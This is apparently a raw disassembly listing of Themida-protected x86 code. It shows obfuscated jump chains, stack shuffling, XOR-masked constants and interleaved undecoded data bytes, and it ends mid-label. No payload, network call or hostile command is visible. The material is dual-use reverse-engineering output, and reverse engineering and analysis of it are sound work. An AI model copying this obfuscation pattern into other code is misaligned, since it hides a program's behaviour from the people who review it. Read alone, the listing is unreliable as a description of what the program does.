53000000h, 0FFB197E9h, 0CF015DFFh, 3286E953h, 8B660000h dd 9D68240Ch, 89000041h, 0EC83242Ch, 24248904h, 0FFAAFEE9h dd 4C481FFh, 0E9000000h, 0FFFFC525h, 0BA241489h, 36CA5BDAh dd 0FFEB32E9h, 240489FFh, 4B8h, 7EECE900h, 248BFFFFh, 9340E924h dd 0C283FFFFh, 24143304h, 33241431h, 685C2414h, 41F2h dd 0B5240C89h, 0ED686688h, 0C896608h, 24548624h, 30D2F601h dd 32012454h, 0E9012454h, 0FFFFBA04h, 56595451h, 4B92B850h dd 92E96639h, 0F000021h, 34FFC0B6h, 7160E987h, 8B59FFFFh dd 0C4812414h, 4, 0A053E956h, 0C281FFFFh, 4, 229FBD55h dd 0C58169DFh, 9620DD65h, 875DEA29h, 895C2414h, 0B652240Ch dd 5AF188C3h, 0C828972Ch, 0C8B9704h, 0E9545524h, 0FFFFE4FAh dd 5C24048Fh, 83241C89h, 48904ECh, 67836824h, 3C890000h dd 4EC8324h, 0E9243489h, 16E3h, 50241489h, 7304B951h, 0C8890463h dd 76503559h, 0D0F705E2h, 4D37B105h, 8BC2894Dh, 89522404h dd 4C281E2h, 83000000h, 0AE904C2h, 0BBFFFF87h, 92F62C3h dd 4244481h, 4DFB32D3h, 4245C01h, 4246C81h, 4DFB32D3h dd 0C32D585Bh, 5F092F62h, 88BF801h, 0E924048Bh, 0FFFFA2BAh dd 64E9EFD1h, 8100001Ah, 0DA1866EFh, 5FFA2961h, 0FFD154E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CF95: ; CODE XREF: Themida_:00548E66j xchg edx, [esp] pop esp sub edx, 4A897951h and eax, edx push dword ptr [esp] pop edx jmp loc_54D599 ; --------------------------------------------------------------------------- dw 0C483h dd 93BD5504h, 0C154CC6Ah, 0F58108E5h, 6F9F5585h, 0BA52D5F7h dd 162342D8h, 15B1C281h, 0CA817EB5h, 54E92095h, 501CE281h dd 0F2815010h, 4F306D3Bh, 25A2E9h, 0C8B6600h, 95AAE924h dd 2966FFFFh, 2C685BD8h, 89000025h, 6866242Ch, 0BCE97BB4h dd 57FFFFC1h, 29EE9h db 0 ; --------------------------------------------------------------------------- loc_54D005: ; CODE XREF: Themida_:00544D9Dj pop esp jmp loc_54A7C6 ; --------------------------------------------------------------------------- db 89h dd 0A3BF57E1h, 8174592Dh, 0A6D261C7h, 0F8D2E98Bh, 0E955FFFFh dd 0FFFFF814h ; --------------------------------------------------------------------------- loc_54D024: ; CODE XREF: Themida_:00547034j pop esp imul cl movzx cx, ah push small 64BBh mov [esp], cx movzx cx, al jmp loc_5448DB ; --------------------------------------------------------------------------- loc_54D03C: ; CODE XREF: Themida_:0054BCD2j mov edi, [esp] add esp, 4 jmp loc_54D824 ; --------------------------------------------------------------------------- loc_54D04A: ; CODE XREF: Themida_:00548E04j mov esi, 74C17A6h add esi, 5D343225h xor eax, esi pop esi xor eax, 56DA5C98h xor edx, eax mov eax, [esp] add esp, 4 and ecx, edx jmp loc_54FF81 ; --------------------------------------------------------------------------- loc_54D06C: ; CODE XREF: Themida_:00547A10j not eax neg eax add eax, 0FFFFFFFFh xor eax, 64AD622Fh jmp loc_5484BF ; --------------------------------------------------------------------------- loc_54D07D: ; CODE XREF: Themida_:005480EDj inc esi not esi xor esi, 41773810h jmp loc_54A5B7 ; --------------------------------------------------------------------------- db 8Bh dd 0A668241Ch, 8900004Ch, 0E389241Ch, 4C381h, 51560000h dd 6A3FE568h, 8345E937h, 0C681FFFFh, 414219ACh, 3D5FEE81h dd 0E959007Ch, 0FFFF7352h, 0D387D2F7h, 0B822EB81h, 0C2816D0Ch dd 22181ADCh, 0EA81DA01h, 22181ADCh, 6F48E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D0DA: ; CODE XREF: Themida_:00549C69j mov cl, ah jmp loc_549C89 ; --------------------------------------------------------------------------- loc_54D0E1: ; CODE XREF: Themida_:0054C64Fj push esi mov esi, esp add esi, 4 jmp loc_548D58 ; --------------------------------------------------------------------------- db 81h dd 0FDDD4BC7h, 5FFE8958h, 15EF101h, 0ED8359CDh, 242C8702h dd 489665Ch, 6F14E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D10E: ; CODE XREF: Themida_:0054BDC2j sub esi, 7C2A7855h push ecx mov ecx, 378A3786h neg ecx push 5DAAh mov [esp], ebx push edi mov edi, 613D7FDCh mov ebx, edi pop edi sub ecx, ebx pop ebx and ecx, 3BBA49B5h push eax mov eax, 54512D7Ah xor eax, 64E566A5h sub ecx, eax pop eax add esi, ecx pop ecx add eax, 77261AB4h sub eax, 35536572h sub eax, esi add eax, 35536572h sub eax, 77261AB4h jmp loc_547F08 ; --------------------------------------------------------------------------- loc_54D162: ; CODE XREF: Themida_:0054C3EBj mov esi, 0A0607FBh xor edx, esi pop esi add ebp, edx jmp loc_54D195 ; --------------------------------------------------------------------------- db 89h, 0E0h, 0E9h dd 513h, 4C481h, 0C3010000h, 8324048Bh, 95E904C4h, 0BD000023h dd 45EB5541h, 0FFCFFDE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D195: ; CODE XREF: Themida_:0054D16Cj pop edx jmp loc_54FB36 ; --------------------------------------------------------------------------- db 8Bh dd 0C483240Ch, 8BBD5504h, 0E9692829h, 0FFFF89F7h ; --------------------------------------------------------------------------- loc_54D1AC: ; CODE XREF: Themida_:0054B238j pop eax jmp loc_54F8D7 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 8704EF83h, 0E8E9243Ch, 0E9FFFFF1h, 0FFFF6E5Ah, 0AA36E943h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D1CE: ; CODE XREF: Themida_:005483E0j not dword ptr [esp] mov edx, [esp] push ebp push esp pop ebp push eax jmp loc_54E60D ; --------------------------------------------------------------------------- loc_54D1DD: ; CODE XREF: Themida_:0054BB1Dj add esp, 4 jmp loc_547EFD ; --------------------------------------------------------------------------- db 5Bh, 8Bh, 14h dd 7E1AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D1EE: ; CODE XREF: Themida_:00547530j mov ch, 34h add bl, 0C1h add bl, ch jmp loc_54B95C ; --------------------------------------------------------------------------- dw 575Bh dd 0A35C9CBFh, 94F78126h, 8107E206h, 697E7DE7h, 0F9EF814Eh dd 0D17D807Fh, 5F781EFh, 141606Dh, 0FF525FFAh, 0FF042474h dd 66E92434h db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D22B: ; CODE XREF: Themida_:005460A2j add ebp, 244003EBh sub ebp, 680E7682h jmp loc_548DA4 ; --------------------------------------------------------------------------- loc_54D23C: ; CODE XREF: Themida_:00544CACj add esp, 4 jmp loc_5495BC ; --------------------------------------------------------------------------- aM0Hc3 db 'Ź0Řh3',0 align 4 dd 1C61E9h, 5646800h, 3C890000h, 81E78924h, 4C7h, 2BB5300h dd 1000000h, 0E9565BDFh, 0FFFFF4CBh, 29EF814Fh, 31093D04h dd 0F6815FFEh, 0C7BCA9D0h, 0E2E9F301h db 84h, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_548AFC ; --------------------------------------------------------------------------- db 89h dd 7BD242Ch, 8103D605h, 0F40DE2F5h, 2E95031h, 56FFFF76h dd 1E6CBD55h, 0C5816723h, 3977277Bh, 0FFCD89E9h, 0C98141FFh dd 48001117h, 0B850D1F7h, 6C2D3483h, 0A54EE0Dh, 1C08312h dd 0E605980Dh, 0F7E8D117h, 8F7035D0h, 0C129CFEDh, 52C38158h dd 16AC51Fh, 52EB81CBh, 596AC51Fh, 8904EC83h, 0AE68241Ch dd 0E906F131h, 0FFFFBAEFh, 54242C89h, 81242C8Bh, 4C4h dd 4C58100h, 51000000h, 0FFBC41E9h, 24248BFFh, 24048B66h dd 0B4E95456h, 5700001Bh, 151DBFBFh, 0C0BB5365h, 0E97E737Ah dd 458h, 5D902D66h, 6B580566h, 66E82966h, 666B582Dh, 5D5D9005h dd 0FFCD0DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D34D: ; CODE XREF: Themida_:00545B82j mov ecx, [esp] add esp, 4 jmp loc_54AB9C ; --------------------------------------------------------------------------- loc_54D358: ; CODE XREF: Themida_:0054BEDFj mov eax, esp add eax, 4 sub eax, 4 jmp loc_545185 ; --------------------------------------------------------------------------- db 59h dd 4EC81h, 14890000h, 4EC8324h, 0FF94E0E9h, 242489FFh dd 7E98E956h, 0D5F7FFFFh, 0D1E3F581h, 0C381C839h, 3602F82h dd 0FF8FB0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D395: ; CODE XREF: Themida_:0054D952j xor [esp+4], edx push dword ptr [esp] pop edx push esi mov esi, esp push ecx jmp loc_548768 ; --------------------------------------------------------------------------- dw 0FB29h dd 0ACE055Fh, 0D80179CFh, 36EBBB53h, 0CB811439h, 66500910h dd 0E566E94Bh, 0C681FFFFh, 0C8B2AD2Ch, 525EF789h, 7757D7BAh dd 8BD73175h, 0C4812414h, 4, 0FFD75DE9h, 0B36DBAFFh, 0D1298428h dd 107BE9h, 0A1CE8100h, 813FAD53h, 0FB6B40CEh, 14DBE922h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D3FE: ; CODE XREF: Themida_:00546083j xchg edi, [esp] pop esp mov [esp], edi jmp loc_54F832 ; --------------------------------------------------------------------------- dw 0E95Bh dd 0FFFFE410h, 48BC529h, 0D9D4E924h, 2B68FFFFh, 5F585F5Fh dd 0F1DCE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D426: ; CODE XREF: Themida_:0054923Bj add esp, 4 sub esi, edi push edi jmp loc_54AB04 ; --------------------------------------------------------------------------- dd 66E8285Ah, 83240C8Bh, 1C8B02C4h, 1A8BE924h, 83560000h dd 0C0E904ECh, 0B6FFFFCBh, 66F52831h, 53DDF65Ah, 0B55113B7h dd 0A9EEE916h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D462: ; CODE XREF: Themida_:00547EB4j push dword ptr [esp] pop ecx sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor bl, al jmp loc_54A0C6 ; --------------------------------------------------------------------------- db 5Ah, 53h, 0FFh dd 5B042474h, 0E924048Fh, 0FFFF86ABh, 4C281h, 0C2810000h dd 4, 5C241487h, 9C1BF181h, 0CB296B64h, 70FCE959h, 0D735FFFFh dd 4868297Bh, 2452E9h, 19A5BD00h, 0C5815D32h, 6B0E56A9h dd 1E58ED81h, 0DFE97F5Ch, 0F7FFFFE0h, 2AD0E9D9h, 815B0000h dd 2C1h, 74FF5100h, 34FF0424h, 54535924h, 83241C8Bh, 0C38104C4h dd 4, 8704C383h, 8F5C241Ch, 248B2404h, 48B6624h, 68D56824h dd 1C890000h, 0E95B5424h, 0FFFF9F11h, 0FE40B050h, 0EBE0E9C0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D522: ; CODE XREF: Themida_:0054ED70j xchg ebp, [esp] jmp loc_54B2B4 ; --------------------------------------------------------------------------- dw 8B54h dd 0C4832414h, 0B9515704h, 3E90412h, 0E981D9F7h, 11113545h dd 8102E9C1h, 0BD2405C9h, 8962E932h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D54E: ; CODE XREF: Themida_:00546282j and eax, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 or edx, eax shl edx, 1 push edx jmp loc_54A078 ; --------------------------------------------------------------------------- db 0FEh, 0C3h, 88h aSz db 'Řé§',9,0 align 2 db 'h×-',0 dw 8900h dd 0BE56243Ch, 0B0E2DE8h, 0FFC36EE9h, 4ECC0FFh, 8138C480h dd 4ECh, 241C8900h, 22BFE9h db 0 ; --------------------------------------------------------------------------- loc_54D599: ; CODE XREF: Themida_:0054CFA5j push ecx mov ecx, esp sub esp, 4 mov [esp], edx jmp loc_54F87B ; --------------------------------------------------------------------------- dw 0D389h dd 5A2434FFh, 8104C483h, 8A042444h, 290EA165h, 5604245Ch dd 8904EC83h, 0CBB241Ch, 0BE55171Eh, 0B98A477Eh, 0FFDCB6E9h dd 0B5EB81FFh, 5527C335h, 75756CBDh, 1F6E6874h, 3C890000h dd 2352BF24h, 0F7814D1Ah, 3AA96BE7h, 0F781DFF7h, 95EBA953h dd 0AEE9FB01h db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D603: ; CODE XREF: Themida_:005493ACj shr ecx, 0Bh push 14E4h mov [esp], ebx push ebp mov ebp, 7C053457h sub [esp+4], ebp pop ebp mov eax, [esp] sub esp, 4 mov [esp], ebp jmp loc_5476C5 ; --------------------------------------------------------------------------- dw 5451h dd 83240C8Bh, 0C18104C4h, 4, 0FF8972E9h, 0E9D789FFh, 0FFFF9A71h dd 0F4C58145h, 505D02F9h, 0C289E889h, 0F9E95D58h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D657: ; CODE XREF: Themida_:00545DD5j add ebp, 4 jmp loc_54D8CC ; --------------------------------------------------------------------------- loc_54D662: ; CODE XREF: Themida_:00549C8Dj mov ecx, [esp] add esp, 4 pop ebx jmp loc_544022 ; --------------------------------------------------------------------------- aBCsi db 'ÁÖ^Cé',7,0 db 0 ; --------------------------------------------------------------------------- loc_54D679: ; CODE XREF: Themida_:0054F396j and [esp], ax pushf jmp loc_544022 ; --------------------------------------------------------------------------- db 0FFh dd 0DCE92434h, 55FFFFFCh, 621B4CBDh, 68CD810Fh, 0E933895Eh dd 0FFFFE071h, 4CB868h, 9352E900h, 0F029FFFFh, 0EFA6E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D6AE: ; CODE XREF: Themida_:0055001Cj pop esp and eax, esi jmp loc_54ACD6 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 54240C89h, 592434FFh, 0FFB9F0E9h, 242C89FFh, 0B850E589h dd 4, 5058C501h, 70BF68h, 24348900h, 0FFE220E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D6E5: ; CODE XREF: Themida_:00544DF9j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_544022 ; --------------------------------------------------------------------------- dw 8068h dd 5E2CA275h, 34FFF721h, 16E95E24h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D707: ; CODE XREF: Themida_:005469B0j add edi, ebx pop ebx add edi, 4 xchg edi, [esp] pop esp sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], ebp push edx mov edx, 689734B5h neg edx or edx, 354C488Bh xor edx, 6F1F02F0h and edx, 686348B2h jmp loc_549CB1 ; --------------------------------------------------------------------------- loc_54D742: ; CODE XREF: Themida_:0054BC05j xor ebx, 5E8F6D19h push ecx jmp loc_54E440 ; --------------------------------------------------------------------------- dw 0BD55h dd 380865D1h, 0FFA036E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D759: ; CODE XREF: Themida_:0054E620j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp xchg eax, edx jmp loc_549DEA ; --------------------------------------------------------------------------- db 25h, 0FAh, 5Ch dd 0B9513A88h, 20B850DDh, 0FFE0E8E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D779: ; CODE XREF: Themida_:0054F618j add ch, 0A6h xor al, ch mov ecx, [esp] add esp, 4 sub bl, 0EEh jmp loc_544A63 ; --------------------------------------------------------------------------- dd 2BEEB81h, 0E381793Dh, 4CF2162Ch, 5EB814Bh, 0E9581573h dd 0FFFFC345h ; --------------------------------------------------------------------------- loc_54D7A4: ; CODE XREF: Themida_:00548E34j not edx xor edx, 61C207E3h not edx jmp loc_54F982 ; --------------------------------------------------------------------------- db 0FFh dd 0E9592434h, 0FFFFAF67h, 0CADEE95Dh, 0CA21FFFFh, 0FFF9D2E9h dd 24248BFFh, 0FF8D70E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D7D1: ; CODE XREF: Themida_:0054B2C6j mov [esp], ecx mov ecx, 4 mov edx, ecx pop ecx add edi, edx mov edx, [esp] add esp, 4 jmp loc_547468 ; --------------------------------------------------------------------------- loc_54D7E9: ; CODE XREF: Themida_:00545A92j xor [ecx], esi pop ecx jmp loc_54CC32 ; --------------------------------------------------------------------------- db 33h, 2Ch, 24h dd 2414895Ch, 0FF6825E9h, 240400FFh, 23DBE99Ch, 0E5C10000h dd 56F58105h, 109A537h, 0F613E9EFh, 0CE89FFFFh, 0A4EF8159h dd 0E9054437h, 0FFFF8111h ; --------------------------------------------------------------------------- loc_54D824: ; CODE XREF: Themida_:0054D045j push 4F42h mov [esp], edi push esp pop edi jmp loc_5492FC ; --------------------------------------------------------------------------- loc_54D833: ; CODE XREF: Themida_:0054AD4Aj mov ecx, 4 mov ebx, ecx pop ecx sub ebp, 72B21804h add ebp, ebx add ebp, 72B21804h mov ebx, [esp] add esp, 4 push edi mov edi, 4 add ebp, edi pop edi xchg ebp, [esp] mov esp, [esp] movsx ecx, ax push 5C2Eh jmp loc_5469B5 ; --------------------------------------------------------------------------- dw 34FFh dd 62E95F24h, 58FFFF83h, 0C281DA01h, 56C952BBh, 4EC815Bh dd 0E9000000h, 0FFFFD882h ; --------------------------------------------------------------------------- loc_54D88C: ; CODE XREF: Themida_:0054FFB9j push edx mov edx, 7D5362Fh sub edx, 7D5362Bh add ebx, edx jmp loc_54EAFF ; --------------------------------------------------------------------------- aQpj4st db '¸QPJ4é%',0 dd 1AA32500h, 1B350F43h, 2D6CD659h, 34ACEEB9h, 0B858C789h dd 353DDD78h, 0FF9EE5E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D8C5: ; CODE XREF: Themida_:005467ECj add esi, edx jmp loc_549238 ; --------------------------------------------------------------------------- loc_54D8CC: ; CODE XREF: Themida_:0054D65Dj sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi jmp loc_547F2B ; --------------------------------------------------------------------------- db 81h dd 602526EFh, 0FB8953D7h, 71B068h, 241C8900h, 0D507E959h dd 34FFFFFFh, 24048B24h, 4C481h, 0C4830000h, 243C8704h dd 241C895Ch, 91E9C389h, 0FFFFFFA3h, 0BE94077h, 5DFFFF67h dd 8704C083h, 685C2404h, 2A85h, 68241C89h, 118F76C6h, 0E9241C8Bh dd 1C69h, 0E959CF29h, 0FFFF6FF0h, 6824048Bh, 3C90h, 0FFF9B3E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D949: ; CODE XREF: Themida_:00544175j mov [esp], edx push 2783738Dh pop edx jmp loc_54D395 ; --------------------------------------------------------------------------- db 5Bh dd 205h, 24043300h, 33240431h, 0B4E92404h, 0ACFFFFE5h dd 0E5E95366h db 7Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D973: ; CODE XREF: Themida_:0054A12Cj add esp, 4 add edi, 4 jmp loc_5468AC ; --------------------------------------------------------------------------- dd 0C05DE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D98A: ; CODE XREF: Themida_:0054E23Bj add edi, 0FFFFFFFFh or edi, 78127635h push esi mov esi, 673223BFh not esi shr esi, 4 shl esi, 4 shl esi, 5 or esi, 78F8054Dh xor esi, 7CF6848Ch add edi, esi jmp loc_546825 ; --------------------------------------------------------------------------- dw 2C8Bh dd 0EFE2E924h, 575BFFFFh, 0FE29DFBFh, 0E3C7E909h, 5D5DFFFFh dd 0BCE9FB01h db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D9D7: ; CODE XREF: Themida_:0054AA4Fj xchg edx, [esp] pop esp mov [esp], ecx mov ch, 0A8h push bx mov bl, 40h jmp loc_5446FA ; --------------------------------------------------------------------------- db 1, 0FDh, 81h dd 273FA1C5h, 2C875F14h, 24248B24h, 24048B66h, 0FF74FEE9h dd 6BF281FFh, 4A446744h, 7D65C281h, 81421460h, 0A0007BF2h dd 85F2812Fh, 1AFD3B3h, 50535AD5h, 1779E9h, 0AAC78000h dd 285BF900h, 0FA0059CFh, 0FFAB0AE9h, 0DDB753FFh, 0E9EDC780h dd 0FFFFFFE5h, 7876CE81h, 0C6816207h, 243F0715h, 0FF7089E9h dd 241C89FFh, 0FFD567E9h, 4BAFFh, 0D1010000h, 0FFB076E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DA65: ; CODE XREF: Themida_:00548CE9j sub ebp, 1 jmp loc_54FD8B ; --------------------------------------------------------------------------- db 87h, 2Ch, 24h dd 0B1C8E95Ch, 0C581FFFFh, 39C9724Eh, 241C8B59h, 4C481h dd 96E90000h db 25h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DA8B: ; CODE XREF: Themida_:005489CDj pop edx jmp loc_54CD6B ; --------------------------------------------------------------------------- db 0FEh, 0CBh, 0F6h dd 79EB80D3h, 0A3E9D928h, 81FFFF9Ch, 0A60CE4C1h, 0B68FE9EDh dd 30ACFFFFh, 686653D8h, 1DE975ECh db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DAB7: ; CODE XREF: Themida_:00547CF6j add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_54B21D ; --------------------------------------------------------------------------- loc_54DACB: ; CODE XREF: Themida_:00545944j push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push ebp mov ebp, 529F1825h add ebp, 0EABC0548h add edx, ebp pop ebp add edx, eax push ebp mov ebp, 3D5B1D6Dh sub edx, ebp pop ebp push 2102h mov [esp], eax mov eax, 0 jmp loc_548D22 ; --------------------------------------------------------------------------- loc_54DB00: ; CODE XREF: Themida_:00545FA4j push esi mov esi, 4 add ebp, esi jmp loc_54C32A ; --------------------------------------------------------------------------- db 68h, 23h, 76h dd 8FE90000h, 66FFFFE4h, 8124048Bh, 4ECh, 241C8900h, 241C8B54h dd 0E904C483h, 0FFFFEC71h, 0EEC38166h, 4EC8363h, 244E9h db 0 ; --------------------------------------------------------------------------- loc_54DB3D: ; CODE XREF: Themida_:00546F51j add edi, eax jmp loc_5446C0 ; --------------------------------------------------------------------------- loc_54DB44: ; CODE XREF: Themida_:loc_544F41j add dword ptr [esp], 4 mov esi, [esp] push esi mov esi, esp jmp loc_549458 ; --------------------------------------------------------------------------- db 8Fh dd 0BBE92404h, 66FFFFC7h, 0E92CA5BDh, 16E3h, 4247C88h dd 0FF97DCE9h, 4EC83FFh, 53242489h, 4BBh, 0B6B85000h, 1678351h dd 58082444h, 4245C01h, 4E685357h, 8B66FE07h, 8953241Ch dd 4C381E3h, 81000000h, 4C3h, 241C8700h, 91C3815Ch, 527F6817h dd 0FFA5D0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54DBB1: ; CODE XREF: Themida_:0054BA25j sub edi, 36C0BF94h add eax, edi pop edi jmp loc_548DFE ; --------------------------------------------------------------------------- loc_54DBBF: ; CODE XREF: Themida_:00547C9Bj pop esi xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] mov cx, [esp] push ecx push esp jmp loc_545E70 ; --------------------------------------------------------------------------- db 29h dd 81565AD6h, 22AA242Ch, 815A467Ch, 7C22AAC2h, 24348B46h dd 4C481h, 0EA810000h, 0E42E75h, 0FF9725E9h, 81D629FFh dd 587CF3EEh, 0F0215A66h, 0FF2434FFh, 815E2434h, 4C4h dd 0E9D9E900h, 74FFFFFFh, 34FF0424h, 54535824h, 5150515Bh dd 0AE78D1B9h, 91E94909h db 96h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DC33: ; CODE XREF: Themida_:0054AF0Ej xor eax, ebp pop ebp mov ebx, eax pop eax push ebx jmp loc_54A8B3 ; --------------------------------------------------------------------------- db 46h dd 0FFABEBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DC45: ; CODE XREF: Themida_:005488FCj mov edx, [esp] jmp loc_5472E3 ; --------------------------------------------------------------------------- db 81h, 0F7h, 0B9h dd 8160E86Eh, 5A0F2AF7h, 5FFA014Eh, 0EA81EA01h, 76ED3EBFh dd 566E95Dh, 0B1BF0000h, 29487367h, 48B5FFBh, 797EE924h dd 0C801FFFFh, 0FC95E959h, 0C481FFFFh, 4, 1930E9h db 0 ; --------------------------------------------------------------------------- loc_54DC8D: ; CODE XREF: Themida_:0054E70Dj mov edx, esp add edx, 4 sub edx, 4 jmp loc_545508 ; --------------------------------------------------------------------------- dd 5266C328h, 12EE68h, 24048900h, 0E688A6B4h, 5724048Bh dd 243C8B54h, 4C481h, 0C7810000h, 4, 4BB53h, 0DF010000h dd 9048E95Bh, 0A2BAFFFFh, 1421731h, 0FB015AD3h, 31A2EB81h dd 34FF4217h, 0C4835F24h, 40E95004h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DCEF: ; CODE XREF: Themida_:0054F853j pop edi jmp loc_54BFCB ; --------------------------------------------------------------------------- db 5Bh, 81h, 0C3h dd 4, 3302C383h, 1C31241Ch, 241C3324h, 0FFEEBBE9h db 0FFh ; --------------------------------------------------------------------------- loc_54DD0D: ; CODE XREF: Themida_:0054BBACj push ecx mov ecx, 3FE81EABh add ecx, 0CAADCFADh jmp loc_54850B ; --------------------------------------------------------------------------- dw 0EA83h dd 24148702h, 0C89665Ch, 0D483E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DD2E: ; CODE XREF: Themida_:005476EFj sub esp, 4 mov [esp], esi mov esi, 0FFFFFFFFh push ebx mov ebx, 79701617h add edx, ebx pop ebx sub edx, esi sub edx, 79701617h pop esi xor [edi+24h], edx xor edx, [edi+24h] push eax jmp loc_547BD6 ; --------------------------------------------------------------------------- loc_54DD5A: ; CODE XREF: Themida_:0054F4B4j xchg esi, edx not esi xchg esi, edx xor esi, edx xor edx, esi xor esi, edx xchg eax, esi push 63BDh mov [esp], ebx mov ebx, 1 and eax, ebx push dword ptr [esp] mov ebx, [esp] jmp loc_5465DA ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0FFB7EFE9h, 240C89FFh, 0FFA7E5E9h, 2434FFFFh, 0E2895258h dd 1F5EE9h, 30E98100h, 0E9452223h, 0FFFFBD1Ah ; --------------------------------------------------------------------------- loc_54DDA8: ; CODE XREF: Themida_:0054C6EBj pop edx pop ebx push eax mov eax, 4 jmp loc_5445EA ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 6410EEBh, 5BDE01A7h, 0FFDE6AE9h, 59E828FFh dd 15E95704h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DDD3: ; CODE XREF: Themida_:00549CD4j push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp or eax, eax jz loc_54AFF4 push 53EEh mov [esp], edx push 1Ch jmp loc_5479EB ; --------------------------------------------------------------------------- dd 405h, 40500h, 4870000h, 0C654E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DE0E: ; CODE XREF: Themida_:00547A4Fj pop ebx jmp loc_544DCE ; --------------------------------------------------------------------------- dd 2A5AE981h, 0E95F274Eh, 0FFFFCC34h, 0E9028F64h, 0FFFF61FAh ; --------------------------------------------------------------------------- loc_54DE28: ; CODE XREF: Themida_:00549F5Cj mov ecx, 4B7656F6h jmp loc_54C60C ; --------------------------------------------------------------------------- dw 53BBh dd 8103D368h, 275FB3F3h, 9DEB8177h, 516AC8FBh, 1B5EE9h dd 21BE5600h, 816E5912h, 3C0D33E6h, 6EE6811Bh, 815F9C1Ch dd 737A18C6h, 0CD71E909h, 55FFFFFh, 744C5BE3h, 0FF6AE2E9h dd 2434FFFFh, 4C4835Ah, 0D62C1F0Ch, 0FFAEC8E9h, 5AD028FFh dd 0FC33059h, 34FFC0B6h, 8ABA5287h, 8107D578h, 6D04246Ch dd 10DB365h, 81042454h, 6D042444h, 0FF0DB365h, 4AE92434h dd 5A000012h, 4EC8155h, 89000000h, 2BB241Ch, 53000000h dd 28240481h, 5D28C516h, 1628B951h, 0ED8128C5h, 39C9724Eh dd 0FF786AE9h, 0E9DFF7FFh, 0FFFF9CDDh, 6E72E0BAh, 5AD70919h dd 0CFBFC781h, 0FB29FFC1h, 0E9243C8Bh, 0FFFFBF1Eh, 4C4815Dh dd 1000000h, 80E92404h, 29FFFFF3h, 62A6E9E8h, 0C181FFFFh dd 4, 0FFAC54E9h, 53525BFFh, 0E7801CB7h, 8EFC09Ch, 0C780DFF6h dd 5BFE88DDh, 2820EE80h, 0C2885AF0h, 0B637E958h, 0F368FFFFh dd 89000022h, 3DBB241Ch, 81437F10h, 4E35C7E3h, 0DC24E916h dd 0EE81FFFFh, 4, 5C243487h, 89243489h, 4EC83E6h, 0E9240489h dd 0FFFF79F0h ; --------------------------------------------------------------------------- loc_54DF6C: ; CODE XREF: Themida_:0054ADD5j mov [esp], ecx jmp loc_548E49 ; --------------------------------------------------------------------------- loc_54DF74: ; CODE XREF: Themida_:0054F12Cj sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_547A69 ; --------------------------------------------------------------------------- loc_54DF83: ; CODE XREF: Themida_:00546012j shl eax, cl jmp loc_54BA60 ; --------------------------------------------------------------------------- dw 0C581h dd 0D3A0D89h, 465DEE89h, 0FFE37BE9h, 0B85051FFh, 0 dd 8158C189h, 0C97E85C1h, 81D10127h, 0C97E85E9h, 0BB5327h dd 1000000h, 0EDE8E9CBh, 2B8FFFFh, 1000000h, 890DE9C1h dd 7AB2FFFFh, 66B968h, 241C8900h, 0FF8A78E9h, 0FCE181FFh dd 52033025h, 4D5DE0BAh, 0B8FFE938h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DFEA: ; CODE XREF: Themida_:00545838j pop ebp jmp loc_54C9C9 ; --------------------------------------------------------------------------- dd 335FF829h, 4312404h, 24043324h, 0FFCD4EE9h, 1CF766FFh dd 17E99C24h db 60h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54E00B: ; 